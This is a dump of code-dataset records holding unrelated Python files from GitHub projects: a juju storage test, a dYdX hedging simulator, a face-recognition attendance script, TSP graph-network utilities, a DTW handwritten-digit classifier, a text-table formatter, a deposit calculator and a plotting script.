test_returns_dict_containing_all_values_when_single_value(self):\n token_file_contents = dedent(\"\"\"\\\n\n single-fs-token:Blocked: not set\n \"\"\")\n client = Mock()\n client.get_juju_output.return_value = token_file_contents\n\n self.assertEqual(\n aps.get_stored_token_content(client),\n {'single-fs-token': 'Blocked: not set'})\n\n def test_returns_dict_containing_all_values_when_many_values(self):\n token_file_contents = dedent(\"\"\"\\\n\n single-fs-token:Blocked: not set\n multi-fs-token/2:abc123\n \"\"\")\n client = Mock()\n client.get_juju_output.return_value = token_file_contents\n\n self.assertEqual(\n aps.get_stored_token_content(client),\n {\n 'single-fs-token': 'Blocked: not set',\n 'multi-fs-token/2': 'abc123'\n })\n","repo_name":"juju/1.25-upgrade","sub_path":"juju2/acceptancetests/tests/test_assess_persistent_storage.py","file_name":"test_assess_persistent_storage.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"7237236423","text":"import math\nimport random\nimport numpy as np\nimport interval\n\n\nclass Dydx(object):\n def __init__(self, config):\n # assert aave_class == isinstance(aave)\n self.market_price = config[\"market_price\"]\n self.interval_current = config[\"interval_current\"]\n self.entry_price = config[\"entry_price\"]\n self.short_size = config[\"short_size\"]\n self.collateral = config[\"collateral\"]\n self.notional = config[\"notional\"]\n self.equity = config[\"equity\"]\n self.leverage = config[\"leverage\"]\n self.pnl = config[\"pnl\"]\n # self.price_to_liquidation = config['price_to_liquidation']\n self.collateral_status = config[\"collateral_status\"]\n self.short_status = config[\"short_status\"]\n self.order_status = True\n self.withdrawal_fees = 0.01 / 100\n self.funding_rates = 0\n self.maker_taker_fees = 0\n self.costs = 0\n # self.historical = pd.DataFrame()\n # self.aave_class_instance = aave_class_instance\n # self.staked_in_protocol = stk\n\n # auxiliary functions\n def pnl_calc(self):\n return self.short_size * (self.market_price - self.entry_price)\n\n def notional_calc(self):\n return abs(self.short_size) * self.market_price\n\n def equity_calc(self):\n return self.collateral + self.pnl_calc()\n\n def leverage_calc(self):\n if self.equity_calc() == 0:\n return 0\n else:\n return self.notional_calc() / self.equity_calc()\n\n def price_to_repay_aave_debt_calc(self, pcg_of_debt_to_cover, aave_class_instance):\n return (\n self.entry_price\n + aave_class_instance.debt * pcg_of_debt_to_cover / self.short_size\n )\n\n @staticmethod\n def price_to_liquidation_calc(dydx_client_class_instance):\n return dydx_client_class_instance.dydx_margin_parameters[\"liquidation_price\"]\n\n def add_funding_rates(self):\n self.simulate_funding_rates()\n self.costs = self.costs - self.funding_rates\n\n def simulate_funding_rates(self):\n # self.funding_rates = round(random.choice(list(np.arange(-0.0075/100, 0.0075/100, 0.0005/100))), 6)\n\n # best case\n # self.funding_rates = 0.0075 / 100\n\n # worst case\n self.funding_rates = -0.0075 / 100\n\n def simulate_maker_taker_fees(self):\n # self.maker_taker_fees = round(random.choice(list(np.arange(0.01/100, 0.035/100, 0.0025/100))), 6)\n\n # best case\n # self.maker_taker_fees = 0.01 / 100\n\n # worst case\n self.maker_taker_fees = 0.035 / 100\n\n # Actions to take\n def remove_collateral(self, new_market_price, new_interval_current, stgy_instance):\n self.cancel_order()\n time = 0\n if self.collateral_status:\n self.collateral_status = False\n withdrawal_fees = self.collateral * self.withdrawal_fees\n self.collateral = 0\n # self.price_to_liquidation = 0\n\n # fees\n self.costs = self.costs + withdrawal_fees\n\n time = 1\n return time\n\n def add_collateral(self, new_market_price, new_interval_current, stgy_instance):\n gas_fees = stgy_instance.gas_fees\n aave_class_instance = stgy_instance.aave\n time = 0\n if not self.collateral_status:\n self.collateral_status = True\n self.collateral = aave_class_instance.debt_initial\n # fees\n self.costs = self.costs + gas_fees\n # We place an order in open_close\n self.place_order(stgy_instance.target_prices[\"open_close\"])\n # add time\n time = 10\n return time\n\n def open_short(self, new_market_price, new_interval_current, stgy_instance):\n aave_class_instance = stgy_instance.aave\n # dydx_client_class_instance = stgy_instance.dydx_client\n intervals = stgy_instance.intervals\n if (not self.short_status) and self.order_status:\n self.short_status = True\n # dydx parameters\n if self.market_price <= stgy_instance.target_prices[\"floor\"]:\n print(\"CAUTION: OPEN PRICE LESS OR EQUAL TO FLOOR!\")\n print(\n \"Difference of: \",\n stgy_instance.target_prices[\"floor\"] - self.market_price,\n )\n\n if self.market_price <= stgy_instance.target_prices[\"open_close\"]:\n print(\"CAUTION: OPEN PRICE LOWER THAN open_close!\")\n print(\n \"Difference of: \",\n stgy_instance.target_prices[\"open_close\"] - self.market_price,\n )\n self.entry_price = self.market_price\n self.short_size = -aave_class_instance.collateral_eth_initial\n # self.collateral = aave_class_instance.debt_initial\n self.notional = self.notional_calc()\n self.equity = self.equity_calc()\n self.leverage = self.leverage_calc()\n # Simulate maker taker fees\n self.simulate_maker_taker_fees()\n # Add costs\n self.costs = self.costs + self.maker_taker_fees * self.notional\n\n price_floor = intervals[\"open_close\"].left_border\n floor_position = intervals[\"floor\"].position_order\n\n price_to_repay_debt = self.price_to_repay_aave_debt_calc(\n 1 + aave_class_instance.buffer_for_repay(), aave_class_instance\n )\n price_to_ltv_limit = intervals[\"floor\"].left_border\n stgy_instance.target_prices[\"repay_aave\"] = price_to_repay_debt\n stgy_instance.target_prices[\"ltv_limit\"] = price_to_ltv_limit\n if price_to_ltv_limit < price_to_repay_debt:\n intervals[\"floor\"] = interval.Interval(\n price_to_repay_debt, price_floor, \"floor\", floor_position\n )\n intervals[\"repay_aave\"] = interval.Interval(\n price_to_ltv_limit,\n price_to_repay_debt,\n \"repay_aave\",\n floor_position + 1,\n )\n intervals[\"minus_infty\"] = interval.Interval(\n -math.inf, price_to_ltv_limit, \"minus_infty\", floor_position + 2\n )\n else:\n print(\"CAUTION: P_ltv > P_repay\")\n print(\"Difference of: \", price_to_ltv_limit - price_to_repay_debt)\n price_to_repay_debt = self.price_to_repay_aave_debt_calc(\n 0.5, aave_class_instance\n )\n intervals[\"floor\"] = interval.Interval(\n price_to_ltv_limit, price_floor, \"floor\", floor_position\n )\n intervals[\"ltv_limit\"] = interval.Interval(\n price_to_repay_debt,\n price_to_ltv_limit,\n \"repay_aave\",\n floor_position + 1,\n )\n intervals[\"minus_infty\"] = interval.Interval(\n -math.inf, price_to_repay_debt, \"minus_infty\", floor_position + 2\n )\n self.order_status = False\n\n def close_short(self, new_market_price, new_interval_current, stgy_instance):\n if self.short_status:\n # Next if is to move up the threshold if we didnt execute at exactly open_close\n if self.market_price >= stgy_instance.target_prices[\"open_close\"]:\n # new_open_close = self.market_price\n print(\n \"CAUTION: SHORT CLOSED AT A PRICE GREATER OR EQUAL TO CLOSE_SHORT!\"\n )\n print(\n \"Difference of: \",\n self.market_price - stgy_instance.target_prices[\"open_close\"],\n )\n # stgy_instance.target_prices['open_close'] = self.market_price\n self.notional = self.notional_calc()\n self.equity = self.equity_calc()\n self.leverage = self.leverage_calc()\n self.pnl = self.pnl_calc()\n # We update short parameters after the calculation of pnl\n self.entry_price = 0\n self.short_status = False\n self.short_size = 0\n self.simulate_maker_taker_fees()\n self.costs = self.costs + self.maker_taker_fees * self.notional\n self.place_order(stgy_instance.target_prices[\"open_close\"])\n\n def place_order(self, price):\n self.order_status = True\n # self.\n\n def cancel_order(self):\n self.order_status = False\n","repo_name":"CruizeFinance/HedgingScripts","sub_path":"hedge_scripts/dydx.py","file_name":"dydx.py","file_ext":"py","file_size_in_byte":8552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"26247737966","text":"import face_recognition as fr\nimport cv2 as cv\nfrom tkinter import Tk\nfrom tkinter.filedialog import askopenfilename\nimport os\nfrom datetime import datetime\nimport pandas as pd\nimport csv\nimport numpy as np\n\n\nwhile(True):\n def encode_faces(folder):\n list_people_encoding = []\n\n for filename in os.listdir(folder):\n known_images = fr.load_image_file(f'{folder}{filename}')\n konwn_encodings = fr.face_encodings(known_images)[0]\n list_people_encoding.append((konwn_encodings, filename))\n\n return list_people_encoding\n\n\n def markAttendance(name):\n atendanceSheet = pd.read_csv(atendancePath)\n students = atendanceSheet.iloc[:,0].values\n\n with open(atendancePath) as ap:\n h = ap.readline()\n classDates = h.split(\",\")\n\n c = 0\n for x in classDates:\n c += 1\n \n c = 10/c\n\n\n dateCounter = 0\n for x in classDates:\n if(x.rstrip() == todayDate.rstrip()):\n break\n dateCounter += 1\n\n j = -1\n for x in classDates:\n j += 1\n \n y = 1\n for x in students:\n if(name == x):\n r = csv.reader(open(atendancePath))\n lines = list(r)\n if(lines[y][dateCounter] == '0'):\n lines[y][dateCounter] = '1'\n lines[y][j] = str(float(lines[y][j])+c)\n writer = csv.writer(open(atendancePath, 'w'))\n writer.writerows(lines)\n y += 1\n\n\n def find_target_faces():\n face_location = fr.face_locations(target_image)\n for person in encode_faces(path):\n encoded_face = person[0]\n filename =person[1]\n\n try:\n is_target_face = fr.compare_faces(encoded_face, target_encoding, tolerance=0.5)\n print(f'{is_target_face} {filename}')\n except Exception:\n print(\"no face found\")\n \n\n if face_location:\n face_number = 0\n for location in face_location:\n if is_target_face[face_number]:\n label = os.path.splitext(filename)[0]\n label = str(label)\n label = label.split(\"-\")\n print(label[0])\n create_fram(location, label[0])\n\n markAttendance(label[0])\n\n face_number +=1\n\n\n\n\n def create_fram(location, label):\n top, right, bottom, left = location\n\n cv.rectangle(target_image, (left,top), (right, bottom), (255,0,0), 2)\n cv.rectangle(target_image, (left,bottom + 20), (right, bottom), (255,0,0), cv.FILLED)\n cv.putText(target_image, label, (left + 3, bottom + 14), cv.FONT_HERSHEY_DUPLEX, 0.4, (255,255,255), 1)\n\n\n def render_image():\n rgb_img = cv.cvtColor(target_image, cv.COLOR_BGR2RGB)\n cv.imshow('Face Recognition', rgb_img)\n cv.waitKey(10)\n\n\n with open('ClassRoutine.csv') as f:\n classTimes = f.readline()\n classTimes = classTimes.split(\",\")\n\n Routine = pd.read_csv(\"ClassRoutine.csv\")\n days = Routine.iloc[:,0].values\n\n today= datetime.now()\n today = today.strftime(\"%A\")\n #print(today)\n\n todayDate = datetime.date(datetime.now())\n todayDate = todayDate.strftime(\"%d %b %Y\")\n\n '''Tk().withdraw()\n load_image = askopenfilename()\n target_image = fr.load_image_file(load_image)'''\n\n video_capture = cv.VideoCapture(0)\n while (True):\n ret, frame = video_capture.read()\n frame = cv.resize(frame, (1000, 800))\n cv.imshow(\"Frame\", frame)\n if cv.waitKey(25) & 0xFF == ord('q'):\n break\n #break\n video_capture.release()\n cv.destroyAllWindows()\n\n target_image = frame\n target_encoding = fr.face_encodings(target_image)\n\n path = None\n atendancePath = None\n students = []\n rowCounter = 0\n\n for x in days:\n if(x.rstrip() == today.rstrip()):\n classes = Routine.iloc[rowCounter,:].values\n classes = np.delete(classes, 0)\n durationCounter = 1\n for y in classes:\n duration = classTimes[durationCounter]\n startTime, endTime = duration.split(\"-\")\n\n current_time = datetime.now()\n current_time = current_time.strftime(\"%H:%M\")\n\n if(current_time >= startTime) and (current_time < endTime):\n if(y == \"CSE_101\"):\n path = \"CSE_101/Students/\"\n atendancePath = \"CSE_101/CSE_101.csv\"\n elif(y == \"CSE_302\"):\n path = \"CSE_302/Students/\"\n atendancePath = \"CSE_302/CSE_302.csv\"\n elif(y == \"CSE_312\"):\n path = \"CSE_312/Students/\"\n atendancePath = \"CSE_312/CSE_312.csv\"\n\n durationCounter += 1\n\n rowCounter +=1\n #print(path,atendancePath)\n\n find_target_faces()\n render_image()\n","repo_name":"Nazmul19285/AUTOMATED-STUDENT-ATTENDANCE-SYSTEM-USING-FACE-RECOGNITION","sub_path":"Room-207/System.py","file_name":"System.py","file_ext":"py","file_size_in_byte":5129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15001958940","text":"import torch as th\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport time\nimport numpy as np\n\nimport dgl\nimport dgl.function as fn\nfrom dgl.data.utils import load_graphs, save_graphs\nfrom utils.TSPDataset import TSPDataset\nfrom concorde.tsp import TSPSolver\n\ndef load_dataset_for_regression(args):\n \"\"\"Load dataset for regression tasks.\n Parameters\n ----------\n args : dict\n Configurations.\n Returns\n -------\n train_set\n Subset for training.\n val_set\n Subset for validation.\n test_set\n Subset for test.\n \"\"\"\n\n if args['train_filepath'] == 'None':\n train_set = TSPDataset(\n num_samples = args['train_num_samples'],\n num_nodes = args['num_nodes'],\n node_dim = args['node_dim'],\n num_neighbors = args['num_neighbors'],\n file_name = None,\n load_mode = 'generate',\n set_type = 'train',\n seed = 0)\n \n val_set = TSPDataset(\n num_samples = args['val_num_samples'],\n num_nodes = args['num_nodes'],\n node_dim = args['node_dim'],\n num_neighbors = args['num_neighbors'],\n file_name = None,\n load_mode = 'generate',\n set_type = 'val',\n seed = 1)\n \n test_set = TSPDataset(\n num_samples = args['test_num_samples'],\n num_nodes = args['num_nodes'],\n node_dim = args['node_dim'],\n num_neighbors = args['num_neighbors'],\n file_name = None,\n load_mode = 'generate',\n set_type = 'test',\n seed = 2)\n else:\n train_set = TSPDataset(\n file_name = args['train_filepath'],\n load_mode = 'read')\n \n val_set = TSPDataset(\n file_name = args['val_filepath'],\n load_mode = 'read')\n \n test_set = TSPDataset(\n file_name = args['test_filepath'],\n load_mode = 'read')\n\n return train_set, val_set, test_set\n\n\ndef loss_edges(y_pred_edges, y_edges, edge_cw):\n \"\"\"\n Loss function for edge predictions.\n Args:\n y_pred_edges: Predictions for edges (batch_size, num_nodes, num_nodes)\n y_edges: Targets for edges (batch_size, num_nodes, num_nodes)\n edge_cw: Class weights for edges loss\n Returns:\n loss_edges: Value of loss function\n \n \"\"\"\n # Edge loss\n y = F.log_softmax(y_pred_edges, dim=3) # B x V x V x voc_edges\n y = y.permute(0, 3, 1, 2) # B x voc_edges x V x V\n loss_edges = nn.NLLLoss(edge_cw)(y, y_edges)\n return loss_edges\n\nclass Meter(object):\n \"\"\"Track and summarize model performance on a dataset for\n (multi-label) binary classification.\"\"\"\n def __init__(self):\n self.mask = []\n self.y_pred = []\n self.y_true = []\n\n def update(self, y_pred, y_true, mask):\n \"\"\"Update for the result of an iteration\n Parameters\n ----------\n y_pred : float32 tensor\n Predicted molecule labels with shape (B, T),\n B for batch size and T for the number of tasks\n y_true : float32 tensor\n Ground truth molecule labels with shape (B, T)\n mask : float32 tensor\n Mask for indicating the existence of ground\n truth labels with shape (B, T)\n \"\"\"\n self.y_pred.append(y_pred.detach().cpu())\n self.y_true.append(y_true.detach().cpu())\n self.mask.append(mask.detach().cpu())\n\n def length(self):\n \"\"\"Compute length score for each task.\n Returns\n -------\n list of float\n length for all tasks\n \"\"\"\n mask = torch.cat(self.mask, dim=0)\n y_pred = torch.cat(self.y_pred, dim=0)\n y_true = torch.cat(self.y_true, dim=0)\n # Todo: support categorical classes\n # This assumes binary case only\n y_pred = torch.sigmoid(y_pred)\n n_tasks = y_true.shape[1]\n scores = []\n for task in range(n_tasks):\n task_w = mask[:, task]\n task_y_true = y_true[:, task][task_w != 0].numpy()\n task_y_pred = y_pred[:, task][task_w != 0].numpy()\n scores.append(roc_auc_score(task_y_true, task_y_pred))\n return scores\n\n def gap(self):\n \"\"\"Compute gap loss for each task.\n Returns\n -------\n list of float\n gap loss for all tasks\n \"\"\"\n mask = torch.cat(self.mask, dim=0)\n y_pred = torch.cat(self.y_pred, dim=0)\n y_true = torch.cat(self.y_true, dim=0)\n n_tasks = y_true.shape[1]\n scores = []\n for task in range(n_tasks):\n task_w = mask[:, task]\n task_y_true = y_true[:, task][task_w != 0]\n task_y_pred = y_pred[:, task][task_w != 0]\n scores.append(F.l1_loss(task_y_true, task_y_pred, reduction=reduction).item())\n return scores\n\n def rmse(self):\n \"\"\"Compute RMSE for each task.\n Returns\n -------\n list of float\n rmse for all tasks\n \"\"\"\n mask = torch.cat(self.mask, dim=0)\n y_pred = torch.cat(self.y_pred, dim=0)\n y_true = torch.cat(self.y_true, dim=0)\n n_data, n_tasks = y_true.shape\n scores = []\n for task in range(n_tasks):\n task_w = mask[:, task]\n task_y_true = y_true[:, task][task_w != 0]\n task_y_pred = y_pred[:, task][task_w != 0]\n scores.append(np.sqrt(F.mse_loss(task_y_pred, task_y_true).cpu().item()))\n return scores\n\n def compute_metric(self, metric_name, reduction='mean'):\n \"\"\"Compute metric for each task.\n Parameters\n ----------\n metric_name : str\n Name for the metric to compute.\n reduction : str\n Only comes into effect when the metric_name is l1_loss.\n * 'mean': average the metric over all labeled data points for each task\n * 'sum': sum the metric over all labeled data points for each task\n Returns\n -------\n list of float\n Metric value for each task\n \"\"\"\n assert metric_name in ['roc_auc', 'l1', 'rmse'], \\\n 'Expect metric name to be \"roc_auc\", \"l1\" or \"rmse\", got {}'.format(metric_name)\n assert reduction in ['mean', 'sum']\n if metric_name == 'roc_auc':\n return self.roc_auc_score()\n if metric_name == 'l1':\n return self.l1_loss(reduction)\n if metric_name == 'rmse':\n return self.rmse()\n","repo_name":"YichengDWu/TSP-with-GNN","sub_path":"utils/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":6557,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"41573289426","text":"from dtw import *\nimport pandas as pd\nimport numpy as np\nfrom scipy.ndimage import gaussian_filter1d\nfrom sklearn.preprocessing import StandardScaler\nimport statistics\n\n### Normalisation ###\n\ndef norm(v):\n def norm(v):\n v = (v - statistics.mean(v)/ statistics.stdev(v))\n return v\n\n#######################################\n### DYNAMIC TIME WRAPPING ###\n#######################################\n\ndef standarization(data):\n scaler = StandardScaler()\n data.iloc[:, 0:2] = scaler.fit_transform(data.iloc[:, 0:2]) #que le x, y, z et pas le t\n return data\n\n### CREATE TABLE ###\n\n # We create a matrix of 0 (2 columns and 1000 lines)\ndata = np.zeros((1000, 2)) # (Columns : 1 = subject, 2 = number written)\nfor i in range(1000):\n data[i] = [ int((i) // 100 + 1), int((i) // 10) % 10]\ndata = pd.DataFrame(data, columns=['UserID', 'Digit'])\n\n # We create a list of coordinates x and y for every single iteration, liste coord[[x],[y]]\ncoord = []\nfor subject in range(1,11):\n for digit in range(10):\n for rep in range(1, 11):\n f_name = f\"Domain1_csv/Subject{subject}-{digit}-{rep}.csv\"\n df = pd.read_csv(f_name)\n standarization(df)\n x, y, z = np.array(df.iloc[3:, 0]), np.array(df.iloc[3:, 1]), np.array(df.iloc[3:, 2])\n x5 = gaussian_filter1d(x, sigma=5) # We filter the points\n y5 = gaussian_filter1d(y, sigma=5)\n z5 = gaussian_filter1d(z, sigma=5)\n coord.append(np.array([x, y]))\ncoord = pd.Series(coord) #We send the data onto a dataframe\ndata[\"Coord\"] = coord\n\n\n\"\"\" HOW DO I PLAN IT:\nWe will compare a test digit with all training digits of each class.\n The test digit will be classified in the class were the mean cumulative difference is the lowest.\n\"\"\"\n\n # Optimal cumulative difference calculation\ndef dtw(r, o, w=2, normal=False):\n \"\"\"\n :param r: num of the reference signal's file\n :param o: nom of the observed signal's file\n :param w: weight for diagonal transition, here it's fixed to 2\n :param normal: If True, the inputs vector are normalized btw 0 and 1\n :return: scalar = to the lowest cumulative difference between the two signals\n \"\"\"\n ## Creation of the cost matrix\n cost_m = np.zeros((len(r), len(o))) #Create the cost matrix\n\n for ir in range(len(r)):\n for io in range(len(o)):\n # First: Origin\n if io == ir == 0:\n cost_m[0, 0] = ecl(r[ir], o[io])\n # Then let's continue with the first row or first column\n elif ir == 0:\n cost_m[ir, io] = cost_m[ir, io - 1] + ecl(r[ir], o[io])\n elif io == 0:\n cost_m[ir, io] = cost_m[ir - 1, io] + ecl(r[ir], o[io])\n # Finish with the rest of the matrix\n else:\n cost_m[ir, io] = min(cost_m[ir - 1, io] + ecl(r[ir], o[io]),\n cost_m[ir - 1, io - 1] + w * ecl(r[ir], o[io]),\n cost_m[ir, io - 1] + ecl(r[ir], o[io]))\n\n return cost_m[len(r) - 1, len(o) - 1] / (len(r) + len(o)) # Normalize the results due to different lengths\n\n# Dataset split\ntrain = data[data[\"UserID\"] != 10].reset_index() # 9 first users = train users\ntest = data[data[\"UserID\"] == 10].reset_index() # Last user = test user\ni = 0\ntotal = 0\n# Classification of test the digit\nfor t in range(len(test)):\n print(\"t = \", t)\n pred_d = 99 # Initial value for digit prediction, should be changed anyway in the loop\n min_dtw = 999 # Initial value for min cumulated difference, should be changed anyway in the loop\n\n for d in range(10): # We will compare it to the 10 digit class (0-9)\n sub_digit = train[train[\"Digit\"] == d].reset_index() # Selection every digit class one at time\n score = [] # Attribute a score for every digit class\n #print(\"Comparing {0} with digit {1}\".format(test[\"Digit\"][t], d))\n\n for j in range(len(sub_digit)): # We compare our test obs with all the selected train obs\n score.append(dtw(sub_digit[\"Coord\"][j],\n test[\"Coord\"][t],\n normal=True)) # We attribute a score for every train obs with the test obs. We sum all the score for the same digit\n\n m_score = sum(score) / len(score) # We compute the mean for that digit\n if m_score < min_dtw: # If the mean score is lower\n min_dtw = m_score # then it becomes the min_score to beat for future digits\n #print(\"{0} -> {1}\".format(pred_d, d))\n pred_d = d # We then predict the associated the digit\n\n\n total += 1\n print(\"True D: {0} - Pred D: {1}\".format(test[\"Digit\"][t], pred_d))\n if test[\"Digit\"][t] == pred_d:\n i += 1\nprint(\"accuracy :\", i/total)\n\n\n\"\"\"\nFaire matrice confusion\n\n1. edit dist et dtw mais avec classifier(regles, radnomfor,...) :\n dist par rapport au train set\n Kernel: transfo dist en produit scalaire et ensuite utilise regle bassée sur le Karnel\n ensuite multi dimensional scaling (MDS)\n Intégrer Kernel direct dans reglog\n2. 2 dimensionel\n librairie, reconnaissance caract à partir d'image (deep learning, réseau neurones)\n l'entraine (2D) et essaye de les catégoriser\n3. Utiliser reconnaisseur gestes classiques\n articles Moodle\n regarder code python de ces libr et les utiliser\n4.\n\n\"\"\"","repo_name":"M4rt11/P2ML","sub_path":"rico.py","file_name":"rico.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2355800946","text":"class formatText(object):\n\n def __init__(self, filePath, fileSplitStr=\"#\",headerStr=\"=\", lineStr=\"-\", splitStr=\"+\", splitStr2 = \"|\"):\n self.__content = []\n self.__columns_len = []\n self.__headerStr = headerStr\n self.__lineStr = lineStr\n self.__splitStr = splitStr\n self.__splitStr2 = splitStr2\n self.__init_data(filePath, fileSplitStr)\n\n def __init_data(self, filePath, fileSplitStr):\n with open(filePath) as op:\n for line in op:\n column = line.strip().split(fileSplitStr)\n self.__content.append(column)\n self.__compare_len(column)\n\n def __compare_len(self, column):\n colLen = len(column)\n for index in range(0, colLen):\n if len(self.__columns_len) < index + 1:\n self.__columns_len.append(0)\n if self.__columns_len[index] < len(column[index]):\n self.__columns_len[index] = len(column[index])\n\n def __repeat(self, rStr, times):\n return \"\".join([rStr for i in range(0, times)])\n\n def __splitLine(self, lineStr):\n final = \"\"\n for column in self.__columns_len:\n final += \"%s%s\" % (self.__splitStr, self.__repeat(lineStr, column + 1))\n return final + self.__splitStr\n\n def __lineFormat(self):\n content = self.__splitStr2.join([\"% %-%ds \" % i for i in self.__columns_len])\n return \"%s%s%s\" % (self.__splitStr2, content, self.__splitStr2)\n\n def output(self):\n totalLen = sum(self.__columns_len) + len(self.__columns_len) * 2 + 1\n formatStr = self.__lineFormat()\n splitLineStr = self.__splitLine(self.__lineStr)\n headerUpStr = self.__repeat(self.__headerStr, totalLen)\n headerDownStr = self.__splitLine(self.__headerStr)\n\n for i in range(0, len(self.__content)):\n if i == 0: print(headerUpStr)\n print(formatStr % tuple(self.__content[i]))\n outputStr = headerDownStr if i == 0 else splitLineStr\n print(outputStr)\n print(self.__columns_len)\n\n\nformatText(\"src.txt\", \"#\").output()\n","repo_name":"mx19890308/python","sub_path":"module/formatText.py","file_name":"formatText.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14991766530","text":"import time\nimport decimal\n\nprint(\"Welcome on our webpage!\")\nsum=decimal.Decimal(input(\"Please, enter your basic sum in BYN: \"))\nper=decimal.Decimal(input(\"For how long do you want to invest in years? \"))\nam=decimal.Decimal(input(\"Choose your percentage: \"))\n\nprint(\"We are processing your request...\")\ntime.sleep(2)\n\nans=input(\"Choose your capitalization?(days/week/month/year/none):\")\n\nansy=\"yes\"\nd=\"days\"\nw=\"week\"\nm=\"month\"\ny=\"year\"\nn=\"none\"\n\nincome=decimal.Decimal(sum*per*am)/(100)\ndep=decimal.Decimal(income+sum).__round__(2)\n\ncapd=decimal.Decimal(sum*((1+am/100/365))**per).__round__(2) \ncapw=decimal.Decimal(sum*((1+am/100/4))**per).__round__(2)\ncapm=decimal.Decimal(sum*((1+am/100/12))**per).__round__(2) \ncapy=decimal.Decimal(sum*((1+am/100/1))**per).__round__(2)\n\n\n\nif ans==d:\n print(\"Your deposit with capitalization: \" + str(capd) + \" BYN\")\n\nif ans==w:\n print(\"Your deposit with capitalization: \" + str(capw) + \" BYN\")\n \nif ans==m:\n print(\"Your deposit with capitalization: \" + str(capm) + \" BYN\" )\n\nif ans==y:\n print(\"Your deposit with capitalization: \" + str(capy) + \" BYN\")\n \nif ans==n:\n print(\"Your deposit: \" + str(dep) + \" BYN\")\n \n \nprint(\"Wish you a good day!\")\n \n\n\n \n","repo_name":"MikitaTsiarentsyeu/Md-PT1-59-22","sub_path":"Tasks/Sivakova/Task_01/Task01.py","file_name":"Task01.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74650372304","text":"import cv2\nimport dlib\nimport sys\nimport numpy as np\nimport time\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\n \"./shape_predictor_68_face_landmarks.dat\"\n)\n\n\ncap = cv2.VideoCapture(10)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 320)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 240)\nprevTime = 0\ncount = 0\nwhile True:\n ret, img = cap.read()\n if not ret:\n break \n\n curTime = time.time()\n faces = detector(img)\n if faces:\n count+=1\n print(\"count : \", count)\n face = faces[0] \n dlib_shape = predictor(img, face)\n shape_2d = np.array(\n [[p.x, p.y] for p in dlib_shape.parts()]\n )\n if count<35:\n img = cv2.putText(img,\"wait..\",(150,200),cv2.FONT_HERSHEY_COMPLEX,1,(0,0,255))\n elif count>=35:\n img = cv2.putText(img,\"open!!\",(150,200),cv2.FONT_HERSHEY_COMPLEX,1,(0,0,255))\n img = cv2.rectangle( \n img,\n pt1=(face.left(), face.top()),\n pt2=(face.right(), face.bottom()),\n color=(255, 255, 255),\n thickness=2,\n lineType=cv2.LINE_AA,\n )\n\n # for s in shape_2d: \n # cv2.circle(\n # img,\n # center=tuple(s),\n # radius=1,\n # color=(255, 255, 255),\n # thickness=2,\n # lineType=cv2.LINE_AA,\n # )\n if count == 40:\n print(\"open\")\n break\n else:\n count = 0\n sec = curTime - prevTime\n prevTime = curTime\n\n fps = 1/(sec)\n\n # print(f\"Time {sec} \")\n # print(fps)\n img = cv2.resize(img,(640,480),cv2.INTER_AREA)\n cv2.imshow(\"img\", img)\n if cv2.waitKey(1) == ord(\"q\"):\n break\n","repo_name":"2020AMGN/amugona_gcamp","sub_path":"dlib/facedetect.py","file_name":"facedetect.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20643817051","text":"from execute.import_data import load_airport_and_route\nfrom model.optimize import simple_centrality\nfrom networkx import from_edgelist, number_of_nodes, degree\nfrom model import network\nfrom execute.run_polya import run_polya\nfrom utilities import balls_per_node, save_trials, load_csv_col, dict_to_arr, fig_size\nfrom utilities.plotting import plot_infection, plot_scatter_data\nfrom numpy import argmax, zeros, array, float, linspace\n\nuniform = True\nfresh_data = False\ntime_limit = 250\n\n# Define constants\nfile_name = 'uniform_red' if uniform else 'single_red'\nimg_name = '../../results/delay_impact/' + file_name + '.png'\nscatter_name = '../../results/delay_impact/time_N.png'\ndata_name = '../../data/delay_impact/' + file_name + '.csv'\n\nif fresh_data:\n airports, routes = load_airport_and_route(deep_load=True)\n\n netx = from_edgelist(routes)\n N = number_of_nodes(netx)\n net = network(N, graph=netx)\n trial_infection = []\n # delay = array([0, 1, 2, 3, 5, 10, 25, 50])\n delay = array(linspace(0, 50, 20))\n\n for time in delay:\n per_node = time + balls_per_node\n budget = N * per_node\n if uniform:\n red = [per_node] * N\n else:\n degrees = dict_to_arr(degree(netx))\n red = zeros(N)\n red[argmax(degrees)] = budget\n\n print(sum(red), budget, time)\n simple_centrality(net, 2, red=red)\n\n vals = run_polya(net, steps=time_limit)\n trial_infection.append(vals)\nelse:\n trial_infection, delay = load_csv_col(data_name, with_headers=True, trans=True, parse=float)\n delay = array(delay).astype(float)\n\ntrial_infection = array(trial_infection)\ntime_n = len(trial_infection[0]) - 1\ntime_N_infections = trial_infection[:, time_n]\n\n# Save and plot data\nif fresh_data:\n save_trials(trial_infection, data_name, titles=delay)\n\n# plot_infection(trial_infection, leg=delay, multiple=True, file_name=img_name, blocking=False)\n\ndata = array([delay, time_N_infections])\nplot_scatter_data(data, x_label='Time step delay', y_label='$I_{' + str(time_n) + '}$', connect=True,\n file_name=scatter_name, size=fig_size)\n","repo_name":"simonsben/undergrad_thesis","sub_path":"execute/plots/delay_impact.py","file_name":"delay_impact.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"203429655","text":"#!/usr/bin/env 